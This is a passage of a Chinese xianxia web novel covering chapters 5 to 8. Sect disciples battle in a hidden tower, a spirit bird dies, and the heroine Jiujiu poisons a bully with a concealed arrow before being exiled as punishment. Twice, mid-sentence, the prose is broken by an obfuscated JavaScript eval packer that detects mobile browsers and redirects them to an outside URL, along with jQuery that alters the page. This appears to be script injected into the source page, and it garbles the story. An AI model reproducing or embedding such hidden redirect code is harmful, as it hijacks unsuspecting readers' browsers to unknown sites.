啾啾没再吭声,抽出了门派长剑,正对青鸾,摆明了迎战。 这只青鸾修为比她高,高很多。不过化形限制了它的修为,受伤又限制了它的体力。 能不能赢不好说,打打就知道了。 少女的眼眸平日总是混沌的、木然的、死去的。可这一刻,眼底点缀上了点点寒光,有如剑刃,锐利冷酷、残忍美丽。 刚刚那排青色羽毛刺入的地方,正是啾啾站立的地方。看高度的话—— 是脖子的高度。 ——他是带着杀她的决心来的。 而她也会报以杀意。 5. 第 5 章 “铛铛铛——” 昏暗的圆堂里三团白光突然闪烁起来。 “门派令……?”棠鹊有些惊讶。 太初宗所有人都会佩戴一枚门派令,方便众人联络以及辨认身份。 按照地位不同,门派令的颜色也不同。棠鹊等人现在只是记名弟子,因此门派令是最朴素的白色。 根据入门第一天分发的《门派令使用说明(必背)》所说,门派令内传出警钟声并伴随光亮闪烁,代表紧急召回门派。 “这什么意思?”昆鹫问。 棠鹊回答:“让我们立刻回门派的意思,你没背《门派令使用说明》?” 昆鹫嗤了一声:“我为什么要背那玩意儿?” “因为封面上写了‘必背’两个字,比标题还大。” “……没看见。” “……” 温素雪手心拂过令牌,对门派召集做出回应,属于他的令牌上光亮渐渐熄灭下去。少年眉心微蹙,黝黑的瞳孔看向镂空的厅门,冷冷的:“棠鸠还没回来。” 棠鹊短促地“啊”了一声:“说起来,小青鸾去哪儿了?” “你刚刚睡着的时候,那小畜生自己走出去了。”昆鹫学着温素雪的样子,用掌心拂过门派令。他的身份令牌也停息了闪烁。 棠鹊偏过头,很严肃:“你没拦住他?” “他想出去便出去呗,你们结了血契,还怕他走丢不成?”昆鹫满不在乎。 “可他之前受的重伤还没愈合。”棠鹊顿了顿,“我去找他。” “我和你一起。”昆鹫将双手枕回脑后,想到棠鹊这么在乎那小畜生就满肚子不爽,不由小声嘀咕一句,“把他召回来不就好了。” 棠鹊似乎没听见,只是看着圆堂的镂空玉门出神。 其实不强行把青鸾召回的原因很简单——棠鹊现在的神识还没法掌控青鸾,若是强行将他收回,她很有可能会遭到反噬。 她不太确定小青鸾会不会听命她的召唤……老实说,她觉得小青鸾不那么,顺从。 温素雪没参与他们对小青鸾的讨论,很安静:“你们走这边,我去那边。如果找到人了,就回圆堂集合。如果没找到,一刻钟后也回来。” “好。” 众人兵分两路。穿过玉门时,棠鹊视野的边缘捕捉到了温素雪的背影。少年不知何时个头已经高过了她,身形依旧带着点稚嫩的单薄,但曾经傻乎乎被她掌控的羞涩模样却日渐稀薄,他逐渐成为了团队中值得信赖的统御人物。 他越来越淡然成熟,也越来越……像她。 棠鹊微不可闻地叹了口气。 小时候在书院念书,孩子们总是聚集在一起憧憬未来。棠鸠想成为被凡人崇敬的大侠,棠鸠关系最好的那位少年想成为世间最厉害的修士。唯有温素雪被问起这个问题时,偷偷瞥了一眼,小声说:“我想成为像姐姐一样的人。” “姐姐?” 温素雪点点头,蕴含期待的眼睛熠熠生光:“就是会照顾人,聪明成熟、温和可靠,像个姐姐一样的人。” “这算什么愿望?” “你是个男人,怎么能变成姐姐呢?” 孩子群爆发出一阵欢笑,温素雪在笑声中红了脸,有些狼狈。棠鹊却一言不发。她能感受到温素雪平日里对她的憧憬、对她的依赖。也能感受到温素雪诉说愿望时,偷瞄她的视线。 棠鹊好像从小就比别的孩子早熟通透很多。 后来她变了,温素雪也变了。不变的是他上课时穿过棠鸠,依然偷偷投注到她身上的视线。 也许温素雪想要变成姐姐的心愿并没有改变。只是他憧憬的姐姐成为了另一幅模样,所以他也成为了另一副模样。 “怎么了?”见棠鹊陷入失神,昆鹫用胳膊肘撞撞她。 “没有。”她摇摇头,“我就是在想,不知道小青鸾现在在做什么。” …… “锃——” 兵刃相交时巨大的声响带着震颤蔓延开,火花迸发,细碎四溅。 小青鸾现在在和啾啾打得不可开交。 青鸾擅长用钢铁般的羽翼射击,啾啾则擅长用木刺对穿。本质是两个玩远程的弓兵,这会儿杀红了眼,也不管三七二十一,变成了青鸾的利爪搏斗棠鸠的长剑。 自古弓兵多近战。这是亘古不变的真理。 “锃——” 兵刃的声音一声比一声响亮,在空旷的暗室中扩散回荡,啾啾虎口已经麻得快没有知觉,冲击而来的力道让她像离弦的箭一般被射回虎桩灯上。身上全是深浅不一的伤口,手臂被戳穿了一个洞,衣衫浸满血红,脸颊也开了道口子,汗水和血污混在一起。 她只是粗粗喘了一口气,立刻又一蹬虎头冲向另一方。 “砰!” 一节钢羽射入虎桩,啾啾刚刚站立的地方已经粉碎。然而现在呆的地方也不能久留,她疾驰躲闪,青鸾的攻击又急又毒,钢羽有如连珠炮,将整个暗室毁得千疮百孔,粉尘弥漫。 青鸾的修为比她高了太多,就算他现在状态不好,啾啾也不是他的对手。 最要命的是,青鸾御风封锁了这间暗室,她根本无法脱身。 啾啾跳到石柱的废墟上,鲜血顺着胳膊肘滴落到地面,“滴答”,细微声音响起的瞬间,她又爆起刺向青鸾。 刚才打架的时候她观察过了,青鸾那一圈钢羽扫射完会有一小段时间的破绽,也许可以趁现在—— 嗖—— 男童没有表情也没有血色的脸突然出现在眼前,伴随着风声,放大填充了整个视野。 浓烈的杀意扑面而来。 啾啾睁大眼睛。 似乎是察觉到了她的作战计划,青鸾竟然在眨眼间化作人形直直朝她撞来,根本没有给她任何反应时间,眼睛捕捉到的时候,他已经近在咫尺了。 两张脸贴得极近,呼吸相闻,她甚至能看清楚他脸上淡色的绒毛。 但也只是一瞬间。 下一刻,她喉咙里溢出“咕唔”的声音,脖子被一只幼小却有力到可怕的手紧紧掐住,按着她往墙上砸去。 轰的一声。 岌岌可危的碎墙在重击下倒塌了一块,不知道后背和脑袋是钝伤还是锐伤,痛得发麻,但啾啾顾不得去感受那些,脖子即将碎掉 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灵力耗尽了就真的耗尽了,因为那不是能够凭空生出来的东西。她如今只能靠体力和他拼命,所以她必须拿到她的剑。 青鸾的脸越来越扭曲,筋肉仿佛在皮下鼓动。 “杀了我,杀了我,”他每一个字都吐得艰难,有好几个音节甚至没能发出来,“我……神鸟……岂能奴役于……她算什么东西……笑话!” 啾啾终于摸到了自己的剑。 然而青鸾却突然松开手。 他一连退开好几丈,抓住玉柱废墟,指节僵白,指甲也折了几片。片刻后他抬起头。 啾啾的咳嗽声停下。 小男孩那双一直瞪视着所有人,充满不友善的眼睛,这时候近乎悲哀地看着她。 悲哀到让人震撼,充盈的泪水里满含内疚、痛苦、不甘……以及许多,啾啾看不懂的情绪。 他只看了她一眼,便立刻变回青鸾鸟身,生怕自己又意识不清似的,一刻不停,扑扇着翅膀凌于半空,发出一声清脆的悲鸣。 只出现在教科书上的高高在上的神鸟,翅羽沐血,浑身凌乱肮脏得不复美丽。 清鸣之后,它猛地冲向啾啾,破空声嗖然阵阵,快要碰到她的一瞬,又突然转向往上,直冲玉壁。 咚—— 毛骨悚然的撞击声。 与其它所有羽毛都不一样的流光青羽悠悠飘落到啾啾足边。 重物也掉在了门边—— 那只美丽的神鸟,以决绝而惨烈的方式撞在了玉壁上,将自己头颅撞碎,脖子折断,筋骨俱毁,只剩下奄奄的最后一息。 啾啾拄着剑,怔然看着眼前这一瞬发生的变故。 与此同时,棠鹊脸色蓦地惨白,脑袋剧痛,身子晃了晃,“哇”地吐出口血来。 “小鹊!”昆鹫又惊又吓。 棠鹊却没理他,只是错愕地瞪大鹿眼:“小青鸾!” 她惨叫一声,跌跌撞撞往前跑去。 6. 第 6 章 啾啾将青鸾那根尾羽拾了起来。那是种绮丽的青蓝色,流光溢彩。手指触碰到的一瞬间,清风吹拂而过,将她的发丝吹得扬起。 风没有就此奔离,而是萦绕在了身边。 啾啾觉得这应该是青鸾俯冲过来时留给她的东西。虽然不知道为什么要留给她。 她抬头看向青鸾那已经失去生机的身体,有些无措。 她最擅长的是观察和分析,以前在黑风寨里,她一直充当整个寨子的外置大脑。但现在她一头雾水,满脑疑问,什么也分析不出来。 她甚至不知道自己此时此刻应不应该救它。 因为它曾那么决绝地奔赴死亡。 “青鸾,小青鸾——!” 急促的奔跑声由远及近,门被咚地推开,棠鹊踉踉跄跄冲进来,只看了一眼,便如石头般钉在原地,浑身僵硬,泪水汹涌而出,顺着细细的下巴尖滴落。 一个时辰前还乖乖跟在她身边的小男孩,现在已经了无生气。 大脑一片空白。 喊叫不出来,思绪化作虚无,只能无声的哭泣。 棠鸠、废墟、巨塔都变得遥远淡漠,世界的中心只剩下鸾鸟破烂的身躯。 昆鹫紧随着追进来,见到青鸾的惨像时也是一怔。 他虽然不喜欢这小畜生,但也没想着要它死掉。不管怎么说,这小畜生到底是棠鹊的血契宠物,它丢了性命,棠鹊也会为此损坏神识,反伤身体的。 昆鹫捏紧了指节。 他想要宽慰点什么,可嘴唇动了动,少女在他面前哭得悄无声息楚楚可怜,他什么也说不出来。 他沉默着垂眸,片刻后,突然发现什么似的,叫起来:“它还活着!棠鹊,它还活着!” 棠鹊呆呆的,泪珠晶莹,用一双空洞的眼睛茫然地看着他。 “所以说,它还活着,也许……还有救!” 棠鹊表情没变,依然脸蛋惨白。 “啧。”昆鹫大声咋舌一下,猛地抬手拍了拍她脑袋,将她拉到青鸾旁边,大声说,“你看,它还在呼吸,我们现在赶回门派,还能救它!” 棠鹊终于醒了。 “真的?”眼泪还没能收住,少女的神情放松了点,转悲为喜,看起来却清甜动人。 “你自己看!”昆鹫指着。 “真的,它还活着。”棠鹊终于绽放出笑颜,很快又皱起眉,担忧急迫,“不行,现在回去门派来不及了……温师弟,对,我去找温师弟,温师弟一定有办法!” 棠鹊迅速恢复了冷静,小心翼翼抱起青鸾,看了眼不远处伫立的啾啾,转身就跑。 啪嗒啪嗒啪嗒。 比平时略重一些的脚步在环廊上回荡。 啾啾心里一跳。 温素雪也是木灵根。但他的剑术和仙法并不是最厉害的,他最擅长的是炼丹。才入门一年时间,温素雪已经能练出三品精制丹药。 属实未来可期。 可青鸾已经快要断气,它死意坚定,恐怕魂魄也弥散了不少。就算是温素雪的丹药也难以救下它。 除非—— 用灵珀仙果。 啾啾心里一跳。棠鹊转身前看向自己的那一眼历历在目,她脚尖带力,想要追过去。 不料,“噌”的一声响,一柄长剑拦住了她的去路。 昆鹫剑尖指向她,眉宇间不是平日里高高在上的鄙夷和愚弄,而是压抑怒意的冰冷:“你干的?” 啾啾漠然看着他的剑。和他们量产的门派长剑不一样,昆鹫的长剑上有花纹,还有名字——斩罡。 啾啾:“你也想杀我?” 昆鹫眉头斜压下来,气势迫人:“你嫉妒棠鹊捡到青鸾,所以杀害她的灵宠,不仅能破坏她的机缘,还能借着血契反伤于她。你当真是,恶毒至极。” 啾啾:“第一,是青鸾自己来找的我,我是受害者。第二,以我的修为伤不了他。只能他杀我,不能我杀他。” “那又如何?”昆鹫“哼”了一声,剑尖抬了抬,睥睨她,“是你如何,不是你又如何。你今日必须死。” 他带着小雀斑的白皙脸庞面色一沉:“我不能留你这个隐患呆在她身边。” 又来了。 棠鹊朋友们惯用的伎俩,自说自话地将啾啾视为棠鹊的对手、威胁棠鹊的隐患、不安好心的混蛋。说实话,她有点烦了。 她的灵力已经消耗得差不多了。这里灵气稀薄,体内的灵力还要蕴养一会儿才能够她使用一次木刺。 她也提起自己的剑。 片刻后,突然足底一蹬,借着青鸾那根尾羽的风力,猛地疾掠向昆鹫。 少女素白的衣衫早就破破烂烂,袖口那一块更是稀烂,破布条碎碎悬挂着,开裂的缝隙后看不到皮肤,只有凝固的血块和伤痕。她额头破了一块,暗红血泽下的眼睛没有光,木然黑沉,如同人偶。 泠然中却杀意沛然。 昆鹫心中一凛。 他昆小少爷这还是第一次决心要除掉一个人,就算知道棠鸠死不足惜,没有一个人会对她的死感到遗憾,可杀人毕竟是杀人,第一次做这种事,昆鹫的心根本平静不下来。 啾啾这阵却像是被困在笼中发狠的小狮子,已经不管不顾,只想挣脱看不见的锁链,咬死所有妄图束缚她的人。根本不留任何余地。 她想杀了他。 她真的想杀了他。 那种气势竟然让昆鹫的心有些颤栗。 铛—— 长剑带着所向披靡之势狠狠袭来,撞击在昆鹫的剑上,力气之大,昆鹫不由得往后退了两步,不敢相信这力气是棠鸠这个小身板散发出来的。 还没反应过来,长剑换了个方向,又猛然朝他下胁攻击,剑锋凌厉狠辣,伴随而来的风几乎快要化作刀刃。 棠鸠怕不是疯了。 昆鹫连连败退,剑刃相触,她庞大的杀意雷霆万钧,完全笼罩住他,根本不给他喘息的机会。剑光比蛛网还密集,铺天盖地压下。 昆鹫只能堪堪应付。 “你——” 话音未落,又是“叮叮叮”三声,昆鹫闷哼一声,整个人被撞击到玉壁上,几枚木刺斜插在他身侧,裂纹在墙上交错纵横。 血沿着脸颊滚下一串。昆鹫抬手抹了一把,看到掌心里的鲜红时,脑后一热。 “你竟然敢伤我?” 就凭她这种废物? 昆鹫心神一定,红了眼,勃然大怒——这种渣滓怎么能伤他?凭什么?谁给她的胆子?向来只有他欺负别人,没有别人欺负他,自尊心受损的小少爷千言万语汇聚成炸裂的一个想法。 ——他要让她付出代价,生不如死。 “春木繁叶!“ 昆鹫抬手大喝一声,与此同时,一条手臂粗的藤鞭突然重重砸向啾啾。 一只高大的藤树妖赫然现世,拔地而起的巨大力道让她难以站立,啾啾翻滚躲开那道足以砸穿地面的藤鞭,立刻又无数藤鞭钻出,长满倒刺,交错着席卷而来。 同是木系,昆鹫更擅长召唤。没有什么比在战场上增加一个帮手更实用的仙术。 毕竟寡不敌众。 当然,这类仙术也并非完美无缺——它首先需要有庞大的灵力去支撑。 啾啾先天不足,身体内匮乏的灵力难以驾驭这个仙术。而有着奇筋异骨的昆鹫只修习了一年时间,就能凝出实力不凡的树妖。 天赋有时候就是这么不公,这是后天努力也没法追上的差距。 藤鞭实在是太多,战场上的情势立刻发生了转变。刚刚还是拼命挣扎做出攻击的啾啾占据上风,转眼间,昆鹫就占据了主导。 被废物伤了脸的屈辱让他红了眼,操纵树妖的藤蔓疯狂鞭打,密密麻麻,十余根鞭子让人根本无暇思考,只能靠本能去躲闪。 啾啾一只手臂已经断掉了。刚才一根腰粗的藤鞭打来,她正在躲另外两处攻击,完全没法闪开。那一下痛到她以为自己身体报废了,脑袋里一片白光,好不容易清醒一点,发现左手臂只能软软挂在身上,青紫一片——估计骨头全被敲碎了。 藤蔓在头顶织网覆盖,不等她做出对策,一条细鞭又悄悄缠上她脚踝,拽着她往树根方向重重一拖,无数倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15067484|163075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刺划过身体,旧伤还没愈合,新伤再次叠加。 最后那根细鞭破土而出,下面一截竟比其它所有藤蔓都要粗壮,仿佛是树妖的另一只手,卷起她,将她扬在空中,又狠狠往地上一摔! “砰——” 不知道是不是肋骨断了,胸膛仿佛被贯穿一般的疼痛,啾啾吐出口血,呼吸已经急促到近乎衰竭,如果不长开嘴,她根本就没办法呼吸。 出的气多,进的气少。 树妖静止了下来,须臾后化作绿色萤火消散在半空。啾啾眼睛被血覆盖住,她只能尽可能找到一个方向,努力往那边爬过去。 背后传来昆鹫阴沉的笑声。 “你不是挺厉害吗?你不是想杀我吗?” 他也不太好受。 到底是个炼气期,就算天赋异禀,也很难撑完刚才那种激烈的战斗,不管是灵力还是体力,现在都在崩溃的边缘。 “废物就是废物。”他嗤笑,“你是棠家亲女儿又如何?区区一个灵体残疾,换我,我也不要你这女儿,我也只宠棠鹊。” 啾啾靠坐在墙壁边,慢慢抬起头看他。 她和棠鹊的身份,一直都是个秘密。从爹娘宣布棠鹊永远是他们的女儿那一天起,所有人都被下了封口令。 没人会宣张这事——因为会对棠鹊不利。大家都爱棠鹊。 啾啾沾了血的眼睛红成一片,明亮得吓人。她一点一点,费力地抬起手,掌心对向朝她缓步走来的昆鹫。 细碎的绿色灵力在掌心凝聚,最后迸发射出。 昆鹫躲都没躲,只是哼了一声,甩了甩袖子。那根脆弱的木刺就被拍进了地面。 啾啾的木刺本来有箭矢粗细,顶端尖细,密集如雨。可现在她能凝出的木刺,只有绣花针那么细。昆鹫只瞥了一眼,就笑起来。 “废物。”他又骂了一声,也抬起手,掌心的光嗖的发射过来! 啾啾连叫的力气都没有了。 只觉得痛。 昆鹫的木刺比她的粗实许多,直直扎入了她竖起的手掌。 新的血从手心手背溢出。她好像流了很多血,身体都快干涸了。 “你喜欢这一招,我就用这一招陪你玩。”昆鹫终于站定,居高临下地对她冷笑,“来啊,站起来,继续你的拿手好戏。你不是挺会这个的吗?噗呲一声。” 想到这个,怒气又在心底扫荡。 昆鹫来到太初宗后,两次受伤都是因为棠鸠的攻击。刚才被她伤了脸,而上一次被她刺穿了手臂。真是奇耻大辱。 啾啾的手掌还没放下,那根木刺留在掌心,她吭都没吭一声,就那样抬着手对准他。 掌心细碎的绿光凝了好几次,都没能成功,消散在半空,明显是灵力全无了。 昆鹫忍不住大声笑起来,抓住她手腕,凑向自己胸膛。 少年深棕色的眼睛扩张放大,扬声吼叫:“来啊,继续啊,来杀我啊,让我看看你的能耐!” 啾啾掌心的绿光一次次凝聚,又一次次无功而返地消散。手掌上穿插的木刺被撞动,让那血洞里的血液流得更欢。她表情一点变化都没有,只是脸色惨白。 她静静地注视着昆鹫的眼睛。 在他脸颊凑拢她,对她咧着嘴大笑时,她突然淡淡地开口:“噗呲。” ——什么? 昆鹫一愣。 下一刻。 噗呲—— 一声响。 昆鹫难以置信地低下头,胸膛正中间,没入了一根短短的铁箭,灵力从那个地方被疯狂地汲取抽空,与此同时,紫色毒素如树须一般在皮肤上扩散,显然铁箭上有专门针对修士而设的咒令。 啾啾依然安静地看着他眼睛。 少女那双黑沉沉的眸子里没有茫然,没有动摇,没有后悔,有如一潭死水。 她曾经的师父,是个很有觉悟的坏人。 不仅对她说“坏人要有坏人的样子”,还在把她送回棠家前给她戴上这副袖箭,然后用宽厚的手掌摸着她脑袋说。 “明枪易躲,暗箭难防,丫头,你要学会暗箭伤人。” 7. 第 7 章 妈的。 撕心裂肺的疼痛从胸口传出,灵力和体力被强横掏空的虚脱感笼罩住昆鹫。那种痛苦让他意识一阵阵陷入黑暗,双腿无力,跪倒在啾啾面前大口汲取空气。 模糊不清的视野中,看见少女那只滴血的手稍稍移动,再次对准了他——这次是正对额心。纤细白皙的手指后,她的眼睛依然空洞黑暗,毫无情绪。 昆鹫打了个激灵。 她还想攻击他。 她是真的,铁了心要杀他。不考虑后果,哪怕鱼死网破。 昆鹫突然有点想哭了,那种无力感滔天巨浪似的拍打着心里的礁石,每一丝冰冷的细沫都在告诉他,你要死了,你无处可逃。 那是从未面临过危险的小少爷在眷恋生命时,对死亡最原始的恐惧。昆鹫表情无比难看,他从未如此狼狈可悲过,身子摇摇晃晃的,嗓子里咔咔地响,想要求生,喉咙却被毒素扼紧。 不要,他不要死——! 昆鹫抬手往前虚虚一抓,想要抓住啾啾的手,不料楼层深处,却突然传出一声尖叫。 是棠鹊? 啾啾皱了皱眉。 伴随那声尖叫,暗室开始一点点溶解、消散,啾啾犹豫了一下,慢慢放下手。 这是,不杀他了? 昆鹫终于松懈,瘫软着躺在地上,大张着嘴,任由紫色毒素爬满他整张脸,如此面目可憎,劫后余生的庆幸却让他眼角分泌出几缕泪液。 他竟然哭了。 啾啾看也没看他一眼,只是侧过脸。 她之前就发现了,这里一共有三个阵法,塔外有个镇物阵,用以隐藏玉塔。除此之外还有个伏邪阵,玉塔同样在阵眼的位置,不过这个阵眼本来应该放水属性之物,现在却放了石属性的玉塔,便是说,玉塔是和伏邪阵在互相镇压,奇怪的是,塔里塔外并没有妖邪魔物的气息。 而玉塔内,有个归元阵。这种阵法很常见,门派、秘境、洞府随处可见,归元阵的作用是“修缮”,只要重新开启阵法,阵法内的建筑便能复原。 现在归元阵启动了。 法阵转动,华光流转,眨眼间所有人都被送出玉塔。 再回头,巨塔已经消失。光雾弥散,东边的天空染上了黎明前的鱼肚白,晨风乱拂,一切如常得仿佛什么也没有发生过。 唯一不同的是多了个人。 嘤嘤的哭声悲恸回荡。 啾啾站不起来,只能坐在那里,吃力地睁开眼,第一眼就看见不远处伫立的少年。 暗红衣袍,被风吹得猎猎作响。白皙的耳垂下,两枚红笺轻飘飘地随风翻飞,流淌出滚滚金光,艳丽招摇。 指骨干净均匀,漂亮的手掌中执着把碎光闪烁的刀,这会儿刀还没收回,刀尖淌着血。 钟棘皱了皱眉,虽未作声,但瞧他那模样,应该是偷偷啧了一声。为出现在这里的是师弟师妹而不是妖兽感到遗憾——为自己不能开心杀戮感到遗憾。 “小青鸾!小青鸾!” 从钟棘的位置往下看,是伏在地上的棠鹊,以及……被切成两截的青鸾。 灵珀仙果散落在不远处,沾了尘土,依然华光潋滟,正对着棠鸠那一面,是她留下花型记号的那一面。毫无疑问,这是她塞给温素雪的那一枚。 所以这是准备把她的灵珀仙果送给棠鹊了? 她看向温素雪。 温素雪也看着她,目光垂落在她手臂衣衫上时,唇微微抿住,眼瞳玄黑。竟然给人一种他正因她受伤而压抑怒气的错觉。 大概真的是错觉。片刻后,两人视线对上。 他们都安安静静的。啾啾能隐约揣摩出温素雪的心思,温素雪也能看出啾啾的关注点——在灵珀仙果上。他愣了愣,别开视线,一言不发。 棠鹊哭得比啾啾刚回家,她得知自己并非棠家亲女儿时还要大声。 她刚在门边找到了温素雪,眼看着小青鸾就要得救了,她将青鸾虚弱的身体放在地上,柔声说:“等我一下,马上就好——” 话音还没落下。 骤然一道破空声响起,快到风驰电掣,白光一闪而过。 一瞬间。 就那一瞬间,连眼睛都没眨一下,棠鹊最后那个字的唇形都没合上,小青鸾的身体就在她面前断成了两截。 飞石碎砾擦着皮肤四溅开来,噼噼啪啪落了一地。被破坏的不仅仅是青鸾的身体,还有他们身边那道玉石门,碎成了渣。 罪魁祸首并没有流露出分毫歉意,只是轻轻一甩,干净利落地让刀尖上血水飞离。 “怎么是你们?”钟棘这次真的“嘁”了一声,还蛮嫌弃的。 没有人回答。 一切都发生得太过突然,整个世界除了风声,只剩下棠鹊断断续续的哭泣声。 钟棘皱了皱眉,循着声音往脚下瞥了一眼,很自然地就踢了一脚。 “小青鸾!”棠鹊又发出一声尖叫,红了眼,浑身颤栗着抬头怒视那宛如火焰的红色少年。 钟棘笑了:“你们在门后叽叽咕咕吵个不停,我还以为是妖兽,随手就杀了。” 语气轻松。 轻松得好像不是杀了个人,而是不小心撞坏了个花瓶。非但不用放在心上,还觉得花瓶碎掉的声音挺有意思,想再试一次。 棠鹊张着嘴,整个脑海只剩下了一句话,那是钟棘满不在乎的态度下隐藏的含义。 ——杀了就杀了呗。 他怎么能这样。 怎么能?! 棠鹊从没这么愤怒过,伤害她可以,她怎样都无所谓,但他怎么能伤害她的朋友,那个安静乖巧的小男孩! “你!” “我怎么了?”钟棘回得很快,笑起来时尖锐的犬牙很容易让人想到旷野上难以驯服的野兽。他握着刀,微挑的眼尾下蕴着抹淡淡的红,“怎么,想杀我报仇?” “……” 棠鹊的脊骨一瞬间爬上一股冰凉,钟棘每靠近一步,寒意就加深一分。 风开始变大,风声肆虐,少年耳下的红笺舞动得愈发张狂。淡淡的血腥味弥漫。 到了现在,棠鹊就是再怎么迟钝,也意识到了眼前这人的身份。 钟棘看起来与他们年岁差不多大,要是他俩相熟,棠鹊甚至能甜甜地叫他一声”钟小师兄”,但他气势威压比他们强了太多。 他靠近的时候,那绝不收敛的锋芒铺天盖地的凌厉压来,哪怕再淡然无谓的人也会在一瞬间被没来由的恐惧攥紧心脏。棠鹊不自觉地颤栗,想要臣服地低下头,但她又不愿,只能死命咬唇逼自己梗直脖子。 “我这个人不太喜欢打嘴仗。”钟棘杀意里带着兴奋,刀尖抵住了棠鹊眉心,“你要是看不惯我,就来杀掉我。你要是杀不掉我,那就我杀掉你。就这么简单。” 确实,之前那为师姐讨公道的师兄,一脸悲愤地控诉钟棘许久,钟棘也没有开口——即便他有理。 棠鹊已经抖得如同筛子,昆鹫本就受了重伤,这会儿闷哼一声,嘴角再次溢出鲜血。 啾啾虽然没受到任何影响,可她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15067485|163075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤成这样,连说话都费劲,更别提参与这场即将开场的屠戮。 现场唯一一个还能行动的是温素雪。 温素雪抬手,将棠鹊拉离了青鸾的尸体,护在身后,与钟棘四目相对。 两双不同的眼睛。多情的桃花眼,暗红的瑞凤眼。 温素雪执着剑。 钟棘也握紧刀柄,笑了笑。他越是笑,嗜杀的意味就越浓。因为他的笑本来就是张狂且恶劣的。 天地间只有风在呼啸。 压抑的沉默中,眼看着战斗就要爆发。 就在这时,又冒出一个声音。 “诶,塔呢?我塔呢?刚刚还在这,那么大一个塔呢——?” 声音浑厚,嗓门高昂。 一瞬间,血腥味弥漫的乱风奔腾消散,威压也退潮似的收回。钟棘拧了拧眉,收回刀,满脸都是被打扰后的不爽。 天已经快亮了,视野变得清明后,能看见云上团团簇簇的白色曦光。战意消失在黎明,所有人都松了口气。 棠鹊这才软软跌坐在地上,揪着自己衣襟,双眼无声,大口大口地吸气。 “啊呀!好大的一阵风啊!”那个声音发出雄浑的感叹,慢慢靠近,片刻后从灌木丛后窸窸窣窣钻出来,“小钟啊,你看到我的塔了吗——?” “……” 一双双视线齐刷刷射过去。 来人声音蓦地扼在喉咙里。他似乎没想到会遇到这么密集的目光,瞪大眼睛,好半天,才反应过来:“师弟师妹,你们怎么在这里?” 不等大家回答,他又兀自推翻自己刚才说辞。“不对,”他挠挠头,严肃起来,“你们怎么还在这里?门派令不是让你们回去吗?” 这人名叫张弛。和钟棘一样,是筑基期的师兄。不过他很有师兄的自觉,时常帮忙处理新生事务,因而众人都认识他。 “我们……”棠鹊张了张嘴,像是突然找到依赖,温热又开始从眼眶后方压迫上来,“小青鸾……” “青鸾?书上那个?你竟然遇到了青鸾?”张弛过来看了一眼,摇摇头,“死透了,魂魄也散了,没救了。” 不用提醒一次。 棠鹊呆呆看着张弛,失魂落魄,眼神空洞。依稀间感觉那酿成惨祸的红色人影朝她走来,棠鹊不自觉颤了颤,那道人影却只是擦肩穿过了她,俯身拾起地上的灵珀仙果,随手一扔。 没有人敢看他,好像多对视一眼,在这里了却残生的几率就多一分。 只有啾啾看到,那枚灵珀仙果被扔回了她怀里。 她惊讶地抬头,稍稍一动就是撕心裂肺的剧痛。 钟棘却没看她,他已经转身往回走了,路过棠鹊的时候顿了顿。 棠鹊浑身僵硬,头皮发麻。 钟棘冷哼:“不想死就赶紧滚。” 棠鹊哆嗦一下,又觉得丢人又觉得害怕,鹿眼里蓄满泪水,踉跄着退开几步。 张弛为自己这暴躁的小钟师弟叹了口气,又看看那身子摇摇晃晃,惶恐不安的师妹,摇摇头,解围道:“我已经通知了回春堂接应你们。此地不宜久留,你们这便走罢。” 说着,他扬手轻轻一挥,白光包裹着一行人,不容抗拒地将他们送出秘境。 棠鹊低低哭出声来。 回春堂的医修早就等在秘境口,见到众人,立刻上前,手忙脚乱地将伤者抬上御行的法器。 心神松弛,意识陷入黑暗前,啾啾最后一个想法是—— 她装着灵晶的物品袋,被遗失在了巨塔里。 8. 第 8 章 痛,好痛。 身体上所受的一切伤痛,在秘境那天,反倒不是最疼。也许当时求生欲占据了上风,也许当时已经痛到麻木。 接受治疗的后面几天,那才是最痛苦的。身体上无数深深浅浅的割伤开始愈合,长出新肉的时候浑身又痒又痛,仿佛万蚁噬心。碎掉的手臂被一点点修复,清楚感受到碎骨在血肉下的窜动,更是痛不欲生。 每一次医修师姐帮忙治疗完,啾啾整个人都仿佛是从水里捞出来的,浑身冷汗,脸色惨白。 治疗第三天,张弛师兄带着糕点来看望了她。 治疗第七天,棠折之结束任务回到门派,来看望了她。 倒也不算看望,只是来问她:“为何要杀你姐姐的灵宠?” “不是我杀的。它自己撞墙死的。” 棠折之淡淡看她一眼,没说信,也没说不信,片刻后转脸看向窗外:“我希望我的亲妹妹是个心胸宽广、光明磊落、诚实友爱的人。” “你觉得我不是?” 棠折之没吭声,那张和啾啾极其相似的脸上毫无动容。 “阿鹊现在心境大跌,修为凝滞不前。三日后,师尊将会决定给你的惩罚。”棠折之顿了顿,“我会替你求情,但日后你若再欺负于她,我绝不姑息。” 走之前,啾啾叫住了哥哥:“是棠鹊说,我杀了她的灵宠?” “是她如何,不是她又如何?”棠折之面色微沉,“你好自为之。” 治疗第十日,啾啾被诫绳缚住双手,由四位弟子押送至焦火山。 这是他们师尊明皎真人最终定下的惩罚——棠鸠残害同门姐妹灵宠,后又重伤同门师兄弟,酿下大错,念其是首犯,罚去焦火山反思一年。 焦火山乃是太初宗领地里的一座无灵山。顾名思义,山中灵气极为稀薄,堪比凡世,道修在这里根本难以立足。 临行前温素雪送了送她。 